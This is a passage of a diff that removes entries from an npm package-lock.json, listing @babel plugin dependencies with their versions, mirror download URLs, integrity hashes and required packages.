-      "resolved": "https://registry.nlark.com/@babel/plugin-proposal-export-namespace-from/download/@babel/plugin-proposal-export-namespace-from-7.14.2.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-proposal-export-namespace-from%2Fdownload%2F%40babel%2Fplugin-proposal-export-namespace-from-7.14.2.tgz",
-      "integrity": "sha1-YlQvlKqc6Pbbp57saYryIRIlN5E=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.13.0",
-        "@babel/plugin-syntax-export-namespace-from": "^7.8.3"
-      }
-    },
-    "@babel/plugin-proposal-json-strings": {
-      "version": "7.14.2",
-      "resolved": "https://registry.nlark.com/@babel/plugin-proposal-json-strings/download/@babel/plugin-proposal-json-strings-7.14.2.tgz",
-      "integrity": "sha1-gwtOJCanguiyh4+/4suoW3DL+Yw=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.13.0",
-        "@babel/plugin-syntax-json-strings": "^7.8.3"
-      }
-    },
-    "@babel/plugin-proposal-logical-assignment-operators": {
-      "version": "7.14.2",
-      "resolved": "https://registry.nlark.com/@babel/plugin-proposal-logical-assignment-operators/download/@babel/plugin-proposal-logical-assignment-operators-7.14.2.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-proposal-logical-assignment-operators%2Fdownload%2F%40babel%2Fplugin-proposal-logical-assignment-operators-7.14.2.tgz",
-      "integrity": "sha1-IiNIwIChZ44OdOpj/nbydYgtH9c=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.13.0",
-        "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4"
-      }
-    },
-    "@babel/plugin-proposal-nullish-coalescing-operator": {
-      "version": "7.14.2",
-      "resolved": "https://registry.nlark.com/@babel/plugin-proposal-nullish-coalescing-operator/download/@babel/plugin-proposal-nullish-coalescing-operator-7.14.2.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-proposal-nullish-coalescing-operator%2Fdownload%2F%40babel%2Fplugin-proposal-nullish-coalescing-operator-7.14.2.tgz",
-      "integrity": "sha1-QlsR3GL8JpOaKrQsu6aAvfVzRUY=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.13.0",
-        "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3"
-      }
-    },
-    "@babel/plugin-proposal-numeric-separator": {
-      "version": "7.14.2",
-      "resolved": "https://registry.nlark.com/@babel/plugin-proposal-numeric-separator/download/@babel/plugin-proposal-numeric-separator-7.14.2.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-proposal-numeric-separator%2Fdownload%2F%40babel%2Fplugin-proposal-numeric-separator-7.14.2.tgz",
-      "integrity": "sha1-grTMBlcRQ/r1BiYQSzNd1xuqT54=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.13.0",
-        "@babel/plugin-syntax-numeric-separator": "^7.10.4"
-      }
-    },
-    "@babel/plugin-proposal-object-rest-spread": {
-      "version": "7.14.4",
-      "resolved": "https://registry.nlark.com/@babel/plugin-proposal-object-rest-spread/download/@babel/plugin-proposal-object-rest-spread-7.14.4.tgz?cache=0&sync_timestamp=1622221269189&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-proposal-object-rest-spread%2Fdownload%2F%40babel%2Fplugin-proposal-object-rest-spread-7.14.4.tgz",
-      "integrity": "sha1-DitN5BmRXcC0CTeOgpQS4gMXd8Q=",
-      "requires": {
-        "@babel/compat-data": "^7.14.4",
-        "@babel/helper-compilation-targets": "^7.14.4",
-        "@babel/helper-plugin-utils": "^7.13.0",
-        "@babel/plugin-syntax-object-rest-spread": "^7.8.3",
-        "@babel/plugin-transform-parameters": "^7.14.2"
-      }
-    },
-    "@babel/plugin-proposal-optional-catch-binding": {
-      "version": "7.14.2",
-      "resolved": "https://registry.nlark.com/@babel/plugin-proposal-optional-catch-binding/download/@babel/plugin-proposal-optional-catch-binding-7.14.2.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-proposal-optional-catch-binding%2Fdownload%2F%40babel%2Fplugin-proposal-optional-catch-binding-7.14.2.tgz",
-      "integrity": "sha1-FQ1OWOUlsWqaFDG9UybE7thw1xc=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.13.0",
-        "@babel/plugin-syntax-optional-catch-binding": "^7.8.3"
-      }
-    },
-    "@babel/plugin-proposal-optional-chaining": {
-      "version": "7.14.2",
-      "resolved": "https://registry.nlark.com/@babel/plugin-proposal-optional-chaining/download/@babel/plugin-proposal-optional-chaining-7.14.2.tgz?cache=0&sync_timestamp=1620840026503&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-proposal-optional-chaining%2Fdownload%2F%40babel%2Fplugin-proposal-optional-chaining-7.14.2.tgz",
-      "integrity": "sha1-34FxqLnEPr9MHavmMRtDLYPhs04=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.13.0",
-        "@babel/helper-skip-transparent-expression-wrappers": "^7.12.1",
-        "@babel/plugin-syntax-optional-chaining": "^7.8.3"
-      }
-    },
-    "@babel/plugin-proposal-private-methods": {
-      "version": "7.13.0",
-      "resolved": "https://registry.npm.taobao.org/@babel/plugin-proposal-private-methods/download/@babel/plugin-proposal-private-methods-7.13.0.tgz",
-      "integrity": "sha1-BL1MbUD25rv6L1fi2AlLrZAO94c=",
-      "requires": {
-        "@babel/helper-create-class-features-plugin": "^7.13.0",
-        "@babel/helper-plugin-utils": "^7.13.0"
-      }
-    },
-    "@babel/plugin-proposal-private-property-in-object": {
-      "version": "7.14.0",
-      "resolved": "https://registry.nlark.com/@babel/plugin-proposal-private-property-in-object/download/@babel/plugin-proposal-private-property-in-object-7.14.0.tgz?cache=0&sync_timestamp=1619727438428&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-proposal-private-property-in-object%2Fdownload%2F%40babel%2Fplugin-proposal-private-property-in-object-7.14.0.tgz",
-      "integrity": "sha1-saHyAwWGudNInMJhedLrWIMndjY=",
-      "requires": {
-        "@babel/helper-annotate-as-pure": "^7.12.13",
-        "@babel/helper-create-class-features-plugin": "^7.14.0",
-        "@babel/helper-plugin-utils": "^7.13.0",
-        "@babel/plugin-syntax-private-property-in-object": "^7.14.0"
-      }
-    },
-    "@babel/plugin-proposal-unicode-property-regex": {
-      "version": "7.12.13",
-      "resolved": "https://registry.npm.taobao.org/@babel/plugin-proposal-unicode-property-regex/download/@babel/plugin-proposal-unicode-property-regex-7.12.13.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-proposal-unicode-property-regex%2Fdownload%2F%40babel%2Fplugin-proposal-unicode-property-regex-7.12.13.tgz",
-      "integrity": "sha1-vr3lEzm+gpwXqqrO0YZB3rYrObo=",
-      "requires": {
-        "@babel/helper-create-regexp-features-plugin": "^7.12.13",
-        "@babel/helper-plugin-utils": "^7.12.13"
-      }
-    },
-    "@babel/plugin-syntax-async-generators": {
-      "version": "7.8.4",
-      "resolved": "https://registry.npm.taobao.org/@babel/plugin-syntax-async-generators/download/@babel/plugin-syntax-async-generators-7.8.4.tgz",
-      "integrity": "sha1-qYP7Gusuw/btBCohD2QOkOeG/g0=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.0"
-      }
-    },
-    "@babel/plugin-syntax-bigint": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npm.taobao.org/@babel/plugin-syntax-bigint/download/@babel/plugin-syntax-bigint-7.8.3.tgz",
-      "integrity": "sha1-TJpvZp9dDN8bkKFnHpoUa+UwDOo=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.0"
-      }
-    },
-    "@babel/plugin-syntax-class-properties": {
-      "version": "7.12.13",
-      "resolved": "https://registry.npm.taobao.org/@babel/plugin-syntax-class-properties/download/@babel/plugin-syntax-class-properties-7.12.13.tgz?cache=0&sync_timestamp=1612314829085&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-syntax-class-properties%2Fdownload%2F%40babel%2Fplugin-syntax-class-properties-7.12.13.tgz",
-      "integrity": "sha1-tcmHJ0xKOoK4lxR5aTGmtTVErhA=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.12.13"
-      }
-    },
-    "@babel/plugin-syntax-class-static-block": {
-      "version": "7.12.13",
-      "resolved": "https://registry.nlark.com/@babel/plugin-syntax-class-static-block/download/@babel/plugin-syntax-class-static-block-7.12.13.tgz",
-      "integrity": "sha1-jj1nSwYT5nl1zqwndsl7YMr8XJw=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.12.13"
-      }
-    },
-    "@babel/plugin-syntax-decorators": {
-      "version": "7.12.13",
-      "resolved": "https://registry.npm.taobao.org/@babel/plugin-syntax-decorators/download/@babel/plugin-syntax-decorators-7.12.13.tgz?cache=0&sync_timestamp=1612314725413&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-syntax-decorators%2Fdownload%2F%40babel%2Fplugin-syntax-decorators-7.12.13.tgz",
-      "integrity": "sha1-+sgpvzx+9KG8kWJXtAPljGva9kg=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.12.13"
-      }
-    },
-    "@babel/plugin-syntax-dynamic-import": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npm.taobao.org/@babel/plugin-syntax-dynamic-import/download/@babel/plugin-syntax-dynamic-import-7.8.3.tgz",
-      "integrity": "sha1-Yr+Ysto80h1iYVT8lu5bPLaOrLM=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.0"
-      }
-    },
-    "@babel/plugin-syntax-export-namespace-from": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npm.taobao.org/@babel/plugin-syntax-export-namespace-from/download/@babel/plugin-syntax-export-namespace-from-7.8.3.tgz",
-      "integrity": "sha1-AolkqbqA28CUyRXEh618TnpmRlo=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.3"
-      }
-    },
-    "@babel/plugin-syntax-flow": {
-      "version": "7.12.13",
-      "resolved": "https://registry.npm.taobao.org/@babel/plugin-syntax-flow/download/@babel/plugin-syntax-flow-7.12.13.tgz",
-      "integrity": "sha1-XfmWJQPAqckYOBySnVHU1pSefoY=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.12.13"
-      }
-    },
-    "@babel/plugin-syntax-import-meta": {
-      "version": "7.10.4",
-      "resolved": "https://registry.npm.taobao.org/@babel/plugin-syntax-import-meta/download/@babel/plugin-syntax-import-meta-7.10.4.tgz",
-      "integrity": "sha1-7mATSMNw+jNNIge+FYd3SWUh/VE=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.10.4"
-      }
-    },
-    "@babel/plugin-syntax-json-strings": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npm.taobao.org/@babel/plugin-syntax-json-strings/download/@babel/plugin-syntax-json-strings-7.8.3.tgz",
-      "integrity": "sha1-AcohtmjNghjJ5kDLbdiMVBKyyWo=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.0"
-      }
-    },
-    "@babel/plugin-syntax-jsx": {
-      "version": "7.12.13",
-      "resolved": "https://registry.npm.taobao.org/@babel/plugin-syntax-jsx/download/@babel/plugin-syntax-jsx-7.12.13.tgz?cache=0&sync_timestamp=1612314757691&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-syntax-jsx%2Fdownload%2F%40babel%2Fplugin-syntax-jsx-7.12.13.tgz",
-      "integrity": "sha1-BE+4HrrWaY/mLEeIdVdby7m3DxU=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.12.13"
-      }
-    },
-    "@babel/plugin-syntax-logical-assignment-operators": {
-      "version": "7.10.4",
-      "resolved": "https://registry.npm.taobao.org/@babel/plugin-syntax-logical-assignment-operators/download/@babel/plugin-syntax-logical-assignment-operators-7.10.4.tgz",
-      "integrity": "sha1-ypHvRjA1MESLkGZSusLp/plB9pk=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.10.4"
-      }
-    },
-    "@babel/plugin-syntax-nullish-coalescing-operator": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npm.taobao.org/@babel/plugin-syntax-nullish-coalescing-operator/download/@babel/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz",
-      "integrity": "sha1-Fn7XA2iIYIH3S1w2xlqIwDtm0ak=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.0"
-      }
-    },
-    "@babel/plugin-syntax-numeric-separator": {
-      "version": "7.10.4",
-      "resolved": "https://registry.npm.taobao.org/@babel/plugin-syntax-numeric-separator/download/@babel/plugin-syntax-numeric-separator-7.10.4.tgz",
-      "integrity": "sha1-ubBws+M1cM2f0Hun+pHA3Te5r5c=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.10.4"
-      }
-    },
-    "@babel/plugin-syntax-object-rest-spread": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npm.taobao.org/@babel/plugin-syntax-object-rest-spread/download/@babel/plugin-syntax-object-rest-spread-7.8.3.tgz",
-      "integrity": "sha1-YOIl7cvZimQDMqLnLdPmbxr1WHE=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.0"
-      }
-    },
-    "@babel/plugin-syntax-optional-catch-binding": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npm.taobao.org/@babel/plugin-syntax-optional-catch-binding/download/@babel/plugin-syntax-optional-catch-binding-7.8.3.tgz",
-      "integrity": "sha1-YRGiZbz7Ag6579D9/X0mQCue1sE=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.0"
-      }
-    },
-    "@babel/plugin-syntax-optional-chaining": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npm.taobao.org/@babel/plugin-syntax-optional-chaining/download/@babel/plugin-syntax-optional-chaining-7.8.3.tgz",
-      "integrity": "sha1-T2nCq5UWfgGAzVM2YT+MV4j31Io=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.0"
-      }
-    },
-    "@babel/plugin-syntax-private-property-in-object": {
-      "version": "7.14.0",
-      "resolved": "https://registry.nlark.com/@babel/plugin-syntax-private-property-in-object/download/@babel/plugin-syntax-private-property-in-object-7.14.0.tgz?cache=0&sync_timestamp=1619727440741&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-syntax-private-property-in-object%2Fdownload%2F%40babel%2Fplugin-syntax-private-property-in-object-7.14.0.tgz",
-      "integrity": "sha1-dipLq+xhF2/sbIhIDexANysUDAs=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.13.0"
-      }
-    },
-    "@babel/plugin-syntax-top-level-await": {
-      "version": "7.12.13",
-      "resolved": "https://registry.npm.taobao.org/@babel/plugin-syntax-top-level-await/download/@babel/plugin-syntax-top-level-await-7.12.13.tgz",
-      "integrity": "sha1-xfD6biSfW3OXJ/kjVAz3qAYTAXg=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.12.13"
-      }
-    },
-    "@babel/plugin-syntax-typescript": {
-      "version": "7.12.13",
-      "resolved": "https://registry.nlark.com/@babel/plugin-syntax-typescript/download/@babel/plugin-syntax-typescript-7.12.13.tgz",
-      "integrity": "sha1-nf8RHKZBVM7w9NxSz4Q9nxLORHQ=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.12.13"
-      }
-    },
-    "@babel/plugin-transform-arrow-functions": {
-      "version": "7.13.0",
-      "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-arrow-functions/download/@babel/plugin-transform-arrow-functions-7.13.0.tgz",
-      "integrity": "sha1-EKWb661S1jegJ6+mkujVzv9ePa4=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.13.0"
-      }
-    },
-    "@babel/plugin-transform-async-to-generator": {
-      "version": "7.13.0",
-      "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-async-to-generator/download/@babel/plugin-transform-async-to-generator-7.13.0.tgz",
-      "integrity": "sha1-jhEr9ncbgr8el05eJoBsXJmqUW8=",
-      "requires": {
-        "@babel/helper-module-imports": "^7.12.13",
-        "@babel/helper-plugin-utils": "^7.13.0",
-        "@babel/helper-remap-async-to-generator": "^7.13.0"
-      }
-    },
-    "@babel/plugin-transform-block-scoped-functions": {
-      "version": "7.12.13",
-      "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-block-scoped-functions/download/@babel/plugin-transform-block-scoped-functions-7.12.13.tgz?cache=0&sync_timestamp=1612314818063&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-block-scoped-functions%2Fdownload%2F%40babel%2Fplugin-transform-block-scoped-functions-7.12.13.tgz",
-      "integrity": "sha1-qb8YNvKjm062zwmWdzneKepL9MQ=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.12.13"
-      }
-    },
-    "@babel/plugin-transform-block-scoping": {
-      "version": "7.14.4",
-      "resolved": "https://registry.nlark.com/@babel/plugin-transform-block-scoping/download/@babel/plugin-transform-block-scoping-7.14.4.tgz?cache=0&sync_timestamp=1622221249143&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-transform-block-scoping%2Fdownload%2F%40babel%2Fplugin-transform-block-scoping-7.14.4.tgz",
-      "integrity": "sha1-yvFAsLLiRixQlVPRQObQq++2Htg=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.13.0"
-      }
-    },
-    "@babel/plugin-transform-classes": {
-      "version": "7.14.4",
-      "resolved": "https://registry.nlark.com/@babel/plugin-transform-classes/download/@babel/plugin-transform-classes-7.14.4.tgz?cache=0&sync_timestamp=1622222859146&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-transform-classes%2Fdownload%2F%40babel%2Fplugin-transform-classes-7.14.4.tgz",
-      "integrity": "sha1-qDwVUD/HGg+Z6Hb9zn2tvGV17Do=",
-      "requires": {
-        "@babel/helper-annotate-as-pure": "^7.12.13",
-        "@babel/helper-function-name": "^7.14.2",
-        "@babel/helper-optimise-call-expression": "^7.12.13",
-        "@babel/helper-plugin-utils": "^7.13.0",
-        "@babel/helper-replace-supers": "^7.14.4",
-        "@babel/helper-split-export-declaration": "^7.12.13",
-        "globals": "^11.1.0"
-      }
-    },
-    "@babel/plugin-transform-computed-properties": {
-      "version": "7.13.0",
-      "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-computed-properties/download/@babel/plugin-transform-computed-properties-7.13.0.tgz",
-      "integrity": "sha1-hFxui5u1U3ax+guS7wvcjqBmRO0=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.13.0"
-      }
-    },
-    "@babel/plugin-transform-destructuring": {
-      "version": "7.14.4",
-      "resolved": "https://registry.nlark.com/@babel/plugin-transform-destructuring/download/@babel/plugin-transform-destructuring-7.14.4.tgz",
-      "integrity": "sha1-rL7FAumVHzD0RB6sodLynvreWe0=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.13.0"
-      }
-    },
-    "@babel/plugin-transform-dotall-regex": {
-      "version": "7.12.13",
-      "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-dotall-regex/download/@babel/plugin-transform-dotall-regex-7.12.13.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-dotall-regex%2Fdownload%2F%40babel%2Fplugin-transform-dotall-regex-7.12.13.tgz",
-      "integrity": "sha1-PxYBzCmQW/y2f1ORDxl66v67Ja0=",
-      "requires": {
-        "@babel/helper-create-regexp-features-plugin": "^7.12.13",
-        "@babel/helper-plugin-utils": "^7.12.13"
-      }
-    },
-    "@babel/plugin-transform-duplicate-keys": {
-      "version": "7.12.13",
-      "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-duplicate-keys/download/@babel/plugin-transform-duplicate-keys-7.12.13.tgz?cache=0&sync_timestamp=1612314817333&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-duplicate-keys%2Fdownload%2F%40babel%2Fplugin-transform-duplicate-keys-7.12.13.tgz",
-      "integrity": "sha1-bwa4eouAP9ko5UuBwljwoAM5BN4=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.12.13"
-      }
-    },
-    "@babel/plugin-transform-exponentiation-operator": {
-      "version": "7.12.13",
-      "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-exponentiation-operator/download/@babel/plugin-transform-exponentiation-operator-7.12.13.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-exponentiation-operator%2Fdownload%2F%40babel%2Fplugin-transform-exponentiation-operator-7.12.13.tgz",
-      "integrity": "sha1-TVI5C5onPmUeSrpq7knvQOgM0KE=",
-      "requires": {
-        "@babel/helper-builder-binary-assignment-operator-visitor": "^7.12.13",
-        "@babel/helper-plugin-utils": "^7.12.13"
-      }
-    },
-    "@babel/plugin-transform-flow-strip-types": {
-      "version": "7.12.1",
-      "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-flow-strip-types/download/@babel/plugin-transform-flow-strip-types-7.12.1.tgz",
-      "integrity": "sha1-hDDez6frKupUFO1KP6bhZSt9d8Q=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.10.4",
-        "@babel/plugin-syntax-flow": "^7.12.1"
-      }
-    },
-    "@babel/plugin-transform-for-of": {
-      "version": "7.13.0",
-      "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-for-of/download/@babel/plugin-transform-for-of-7.13.0.tgz",
-      "integrity": "sha1-x5n4gagJGsJrVIZ6hFw+l9JpYGI=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.13.0"
-      }
-    },
-    "@babel/plugin-transform-function-name": {
-      "version": "7.12.13",
-      "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-function-name/download/@babel/plugin-transform-function-name-7.12.13.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-function-name%2Fdownload%2F%40babel%2Fplugin-transform-function-name-7.12.13.tgz",
-      "integrity": "sha1-uwJEUvmq7YYdN0yOeiQlLOOlAFE=",
-      "requires": {
-        "@babel/helper-function-name": "^7.12.13",
-        "@babel/helper-plugin-utils": "^7.12.13"
-      }
-    },
-    "@babel/plugin-transform-literals": {
-      "version": "7.12.13",
-      "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-literals/download/@babel/plugin-transform-literals-7.12.13.tgz",
-      "integrity": "sha1-LKRbr+SoIBl88xV5Sk0mVg/kvbk=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.12.13"
-      }
-    },
-    "@babel/plugin-transform-member-expression-literals": {
-      "version": "7.12.13",
-      "resolved": "https://registry.nlark.com/@babel/plugin-transform-member-expression-literals/download/@babel/plugin-transform-member-expression-literals-7.12.13.tgz",
-      "integrity": "sha1-X/pmzVm54ZExTJ8fgDuTjowIHkA=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.12.13"
-      }
-    },
-    "@babel/plugin-transform-modules-amd": {
-      "version": "7.14.2",
-      "resolved": "https://registry.nlark.com/@babel/plugin-transform-modules-amd/download/@babel/plugin-transform-modules-amd-7.14.2.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-transform-modules-amd%2Fdownload%2F%40babel%2Fplugin-transform-modules-amd-7.14.2.tgz",
-      "integrity": "sha1-ZiKAb+GnwHoTiERCIu+VNfLKF7A=",
-      "requires": {
-        "@babel/helper-module-transforms": "^7.14.2",
-        "@babel/helper-plugin-utils": "^7.13.0",
-        "babel-plugin-dynamic-import-node": "^2.3.3"
-      }
-    },
-    "@babel/plugin-transform-modules-commonjs": {
-      "version": "7.14.0",
-      "resolved": "https://registry.nlark.com/@babel/plugin-transform-modules-commonjs/download/@babel/plugin-transform-modules-commonjs-7.14.0.tgz?cache=0&sync_timestamp=1619727045657&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-transform-modules-commonjs%2Fdownload%2F%40babel%2Fplugin-transform-modules-commonjs-7.14.0.tgz",
-      "integrity": "sha1-UrwZnLWB4Jku26Dw+ANWRnWH8WE=",
-      "requires": {
-        "@babel/helper-module-transforms": "^7.14.0",
-        "@babel/helper-plugin-utils": "^7.13.0",
-        "@babel/helper-simple-access": "^7.13.12",
-        "babel-plugin-dynamic-import-node": "^2.3.3"
-      }
-    },
-    "@babel/plugin-transform-modules-systemjs": {
-      "version": "7.13.8",
-      "resolved": "https://registry.nlark.com/@babel/plugin-transform-modules-systemjs/download/@babel/plugin-transform-modules-systemjs-7.13.8.tgz",
-      "integrity": "sha1-bQZu4r/zx7PWC/KN7Baa2ZODGuM=",
-      "requires": {
-        "@babel/helper-hoist-variables": "^7.13.0",
-        "@babel/helper-module-transforms": "^7.13.0",
-        "@babel/helper-plugin-utils": "^7.13.0",
-        "@babel/helper-validator-identifier": "^7.12.11",
-        "babel-plugin-dynamic-import-node": "^2.3.3"
-      }
-    },
-    "@babel/plugin-transform-modules-umd": {
-      "version": "7.14.0",
-      "resolved": "https://registry.nlark.com/@babel/plugin-transform-modules-umd/download/@babel/plugin-transform-modules-umd-7.14.0.tgz?cache=0&sync_timestamp=1619727046120&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-transform-modules-umd%2Fdownload%2F%40babel%2Fplugin-transform-modules-umd-7.14.0.tgz",
-      "integrity": "sha1-L4F50bvJJjZlzkpl8wVSay6orDQ=",
-      "requires": {
-        "@babel/helper-module-transforms": "^7.14.0",
-        "@babel/helper-plugin-utils": "^7.13.0"
-      }
-    },
-    "@babel/plugin-transform-named-capturing-groups-regex": {
-      "version": "7.12.13",
-      "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-named-capturing-groups-regex/download/@babel/plugin-transform-named-capturing-groups-regex-7.12.13.tgz",
-      "integrity": "sha1-IhNyWl9bu+NktQw7pZmMlZnFydk=",
-      "requires": {
-        "@babel/helper-create-regexp-features-plugin": "^7.12.13"
-      }
-    },
-    "@babel/plugin-transform-new-target": {
-      "version": "7.12.13",
-      "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-new-target/download/@babel/plugin-transform-new-target-7.12.13.tgz",
-      "integrity": "sha1-4i2MOvJLFQ3VKMvW5oXnmb8cNRw=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.12.13"
-      }
-    },
-    "@babel/plugin-transform-object-super": {
-      "version": "7.12.13",
-      "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-object-super/download/@babel/plugin-transform-object-super-7.12.13.tgz",
-      "integrity": "sha1-tEFqLWO4974xTz00m9VanBtRcfc=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.12.13",
-        "@babel/helper-replace-supers": "^7.12.13"
-      }
-    },
-    "@babel/plugin-transform-parameters": {
-      "version": "7.14.2",
-      "resolved": "https://registry.nlark.com/@babel/plugin-transform-parameters/download/@babel/plugin-transform-parameters-7.14.2.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-transform-parameters%2Fdownload%2F%40babel%2Fplugin-transform-parameters-7.14.2.tgz",
-      "integrity": "sha1-5CkPcuDp6DEADQZkJ8RmcJjezDE=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.13.0"
-      }
-    },
-    "@babel/plugin-transform-property-literals": {
-      "version": "7.12.13",
-      "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-property-literals/download/@babel/plugin-transform-property-literals-7.12.13.tgz",
-      "integrity": "sha1-TmqeN4ZNjxs7wOLc57+IV9uLGoE=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.12.13"
-      }
-    },
-    "@babel/plugin-transform-react-constant-elements": {
-      "version": "7.13.13",
-      "resolved": "https://registry.npm.taobao.org/@babel/plugin-transform-react-constant-elements/download/@babel/plugin-transform-react-constant-elements-7.13.13.tgz",
-      "integrity": "sha1-Agix2UK/k5zU96pbJV1CYCqkqSA=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.13.0"
-      }
-    },
-    "@babel/plugin-transform-react-display-name": {
-      "version": "7.14.2",
-      "resolved": "https://registry.nlark.com/@babel/plugin-transform-react-display-name/download/@babel/plugin-transform-react-display-name-7.14.2.tgz?cache=0&sync_timestamp=1620839456013&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-transform-react-display-name%2Fdownload%2F%40babel%2Fplugin-transform-react-display-name-7.14.2.tgz",
-      "integrity": "sha1-LoVFRNQqs7ucIfhOFT1i6AD71ZM=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.13.0"
-      }
-    },
-    "@babel/plugin-transform-react-jsx": {
-      "version": "7.14.3",
-      "resolved": "https://registry.nlark.com/@babel/plugin-transform-react-jsx/download/@babel/plugin-transform-react-jsx-7.14.3.tgz?cache=0&sync_timestamp=1621286768327&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-transform-react-jsx%2Fdownload%2F%40babel%2Fplugin-transform-react-jsx-7.14.3.tgz",
-      "integrity": "sha1-DiZZeAXPCGLac18mRVCTPDi6u2Y=",
-      "requires": {
-        "@babel/helper-annotate-as-pure": "^7.12.13",
-        "@babel/helper-module-imports": "^7.13.12",
-        "@babel/helper-plugin-utils": "^7.13.0",
-        "@babel/plugin-syntax-jsx": "^7.12.13",
-        "@babel/types": "^7.14.2"
-      }
-    },
-    "@babel/plugin-transform-react-jsx-development": {
-      "version": "7.12.17",
